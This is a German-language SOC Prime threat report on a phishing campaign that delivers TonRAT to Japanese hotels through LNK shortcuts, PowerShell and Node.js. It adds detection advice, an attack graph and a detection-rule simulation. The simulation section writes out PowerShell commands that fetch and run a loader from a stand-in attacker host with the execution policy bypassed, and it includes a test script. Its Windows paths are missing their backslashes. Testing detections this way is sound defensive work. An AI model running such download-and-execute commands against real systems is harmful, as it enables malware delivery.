SOC Prime Bias: Mittel

12 Jun 2026 06:16 UTC

Analyse verdächtiger E-Mails, die auf die Hotelbranche abzielen

Author Photo
SOC Prime Team linkedin icon Folgen
Analyse verdächtiger E-Mails, die auf die Hotelbranche abzielen
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Eine Phishing-Kampagne, die sich als Booking.com ausgibt, zielte über Infrastruktur, die auf Calendly und SendGrid gehostet wird, auf Hotelbetreiber in Japan ab. Die E-Mail enthielt einen verkürzten Link, der zu einem ZIP-Archiv führte, das eine bösartige LNK-Verknüpfung enthielt, die dann einen auf PowerShell basierenden Loader startete. Dieser Loader holte zusätzliche PowerShell-Skripte, entschlüsselte eine als TonRAT identifizierte JavaScript-Nutzlast, lud Node.js herunter und führte den RAT aus. Die Malware etablierte dann eine Kommando- und Kontrollverbindung über einen WebSocket-Endpunkt, der über die TON API bezogen wurde.

Untersuchung

Der Bericht beschreibt die Analyse der E-Mail-Kopfzeilen, den Missbrauch legitimer Zustelldienste und die vollständige mehrstufige Ausführungskette, die bei dem Angriff verwendet wurde. Er liefert Datei-Hashes für das ZIP-Archiv und seine internen Komponenten und listet die während der Analyse beobachteten Kommando- und Kontroll-Domänen auf. Die Untersuchung enthält auch technische Details zur bösartigen LNK-Datei und den PowerShell-Befehlen, die zur Fortschreitung der Infektion verwendet wurden.

Abschwächung

Verteidiger sollten verdächtige verkürzte Calendly-Links blockieren, Absenderdomänen sorgfältig überprüfen und die Ausführung von LNK-Anhängen, die per E-Mail zugestellt werden, einschränken. Das Monitoring sollte sich auch auf unautorisierte PowerShell-Aktivitäten und unerwartete Node.js-Binärdateien auf Endgeräten konzentrieren. URL-Filterung kann helfen, den Zugriff auf die bekannten bösartigen Domains, die an der Kampagne beteiligt sind, zu blockieren.

Reaktion

Sicherheitsteams sollten Erkennungen für PowerShell-Befehle erstellen, die Inhalte von den identifizierten Kommando- und Kontroll-Domänen herunterladen, sowie für die Ausführung von node.exe aus ungewöhnlichen Orten. Warnungen sollten auch für E-Mail-Flüsse konfiguriert werden, die SendGrid-Kopfzeilen aus nicht vertrauenswürdigen oder unerwarteten Quellen verwenden. Ermittler sollten abgelegte Dateien sammeln und Netzwerkverkehr mit den beobachteten WebSocket-Kommunikationen aufbewahren.

"graph TB %% Klassen Definitionen classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#cccccc %% Knoten action_phishing["<b>Aktion</b> – <b>T1566.002 Spearphishing-Link</b><br/>Phishing-E-Mail mit einem bösartigen Calendly-Link wird an das Opfer gesendet."] class action_phishing action action_user_click["<b>Aktion</b> – <b>T1204.001 Benutzeraktion: Bösartiger Link</b><br/>Das Opfer klickt auf den bösartigen Calendly-Link, wodurch der Browser ein ZIP-Archiv herunterlädt."] class action_user_click action action_download_zip["<b>Aktion</b> – ZIP herunterladen<br/>ZIP-Archiv enthält eine Verknüpfung (.lnk) und eine Dummy-MP4-Datei."] class action_download_zip action action_open_shortcut["<b>Aktion</b> – <b>T1547.009 Verknüpfungsänderung</b><br/>Das Opfer öffnet die .lnk-Verknüpfung, die einen PowerShell-Befehl ausführt."] class action_open_shortcut action tool_powershell["<b>Werkzeug</b> – PowerShell<br/><b>Zweck</b>: Führt Befehle aus und lädt zusätzliche Nutzlasten herunter."] class tool_powershell tool action_download_script["<b>Aktion</b> – <b>T1105 Ingress-Werkzeugübertragung</b><br/>PowerShell lädt ein zusätzliches Skript von einem entfernten Server herunter."] class action_download_script action action_download_js["<b>Aktion</b> – <b>T1027.009 Eingebettete Nutzlasten</b><br/>PowerShell lädt ebenfalls eine verschlüsselte JavaScript-Nutzlast herunter."] class action_download_js action action_download_node["<b>Aktion</b> – Node.js-Laufzeit herunterladen<br/>Node.js-Laufzeit wird heruntergeladen und verwendet, um die nächste Phase zu starten."] class action_download_node process malware_tonrat["<b>Malware</b> – TonRAT<br/>JavaScript-basierter Remote-Zugriff-Trojaner, ausgeführt über Node.js."] class malware_tonrat malware action_dynamic_resolution["<b>Aktion</b> – <b>T1568 Dynamische Auflösung</b><br/>TonRAT fragt die TON-API, um Kommando- und Kontroll-Domänen zur Laufzeit aufzulösen."] class action_dynamic_resolution action action_c2["<b>Aktion</b> – <b>T1071.001 Anwendungsprotokollebenenprotokoll: Web-Protokolle</b><br/>Richtet einen WebSocket-Kanal für C2-Kommunikationen ein."] class action_c2 action %% Verbindungen action_phishing –>|führt zu| action_user_click action_user_click –>|löst aus| action_download_zip action_download_zip –>|enthält| action_open_shortcut action_open_shortcut –>|führt aus| tool_powershell tool_powershell –>|verwendet| action_download_script tool_powershell –>|verwendet| action_download_js action_download_script –>|stellt bereit| action_download_node action_download_js –>|stellt bereit| action_download_node action_download_node –>|startet| malware_tonrat malware_tonrat –>|führt aus| action_dynamic_resolution action_dynamic_resolution –>|ermöglicht| action_c2 "

Angriffsablauf

Simulationsausführung

Voraussetzung: Der Telemetrie- und Basislinien-Pre-Flight-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und Erzählungen MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die durch die Erkennungslogik erwartet wird.

  • Angriffs-Narrativ & Befehle:

    1. Erster Zugriff – PowerShell-Download
      Der Angreifer erlangt eine PowerShell-Remotesitzung auf dem kompromittierten Host und verwendet Invoke-WebRequest um das TonRAT-Loader-Skript von einem bösartigen C2-Server abzurufen. Dieser Schritt erfüllt die Invoke-WebRequest Zeichenkettenübereinstimmung.

      powershell -NoProfile -ExecutionPolicy Bypass -Command ^
        "Invoke-WebRequest -Uri http://malicious.example.com/tonrat.ps1 -OutFile $env:TEMPtonrat.ps1"
    2. Ausführung des Loaders
      Das heruntergeladene Skript wird ausgeführt, was wiederum einen zweiten PowerShell-Prozess erzeugt, um zusätzliche Befehle auszuführen (der immer noch das Wort „PowerShell“ enthält).

      powershell -NoProfile -ExecutionPolicy Bypass -File $env:TEMPtonrat.ps1
    3. Node.js-Nutzlast Ausführung
      TonRAT legt eine bösartige JavaScript-Datei ab (malicious.js) und startet sie mit der Node.js-Laufzeit (node.exe). Dies erzeugt die node.exe Zeichenkettenübereinstimmung.

      # Angenommen, das Skript hat bereits malicious.js in C:Temp platziert
      C:Program Filesnodejsnode.exe C:Tempmalicious.js

    Die drei Prozesskreaturen (PowerShell mit Invoke-WebRequest, PowerShell, die den Loader ausführt und node.exe) erfüllen gemeinsam die Bedingung der Erkennungsregel.

  • Regressionstests- Skript:

    #-------------------------------------------------
    # TonRAT-Bereitstellungssimulation – löst Sigma-Regel aus
    #-------------------------------------------------
    $tempDir = "$env:TEMPtonrat_demo"
    New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
    
    # 1. Gefälschten Loader herunterladen (simuliert mit einem einfachen Echo)
    $loaderUrl = "http://malicious.example.com/tonrat.ps1"
    $loaderPath = "$tempDirtonrat.ps1"
    Invoke-WebRequest -Uri $loaderUrl -OutFile $loaderPath -UseBasicParsing
    
    # 2. Den Loader ausführen (der Loader erstellt nur eine Dummy-js-Datei)
    powershell -NoProfile -ExecutionPolicy Bypass -File $loaderPath
    
    # 3. Eine Dummy-JavaScript-Nutzlast erstellen
    $jsPath = "C:Tempmalicious.js"
    Set-Content -Path $jsPath -Value "console.log('Malicious payload executed');"
    
    # 4. Die Nutzlast mit Node.js ausführen
    $nodePath = "C:Program Filesnodejsnode.exe"
    & $nodePath $jsPath
    #-------------------------------------------------
  • Aufräumbefehle:

    # Entfernen Sie alle durch die Simulation erstellten Artefakte
    Remove-Item -Path "$env:TEMPtonrat_demo" -Recurse -Force
    Remove-Item -Path "C:Tempmalicious.js" -Force
    # Optional alle verbleibenden PowerShell/Node-Prozesse beenden (falls erforderlich)
    Get-Process -Name "powershell","node" -ErrorAction SilentlyContinue | Stop-Process -Force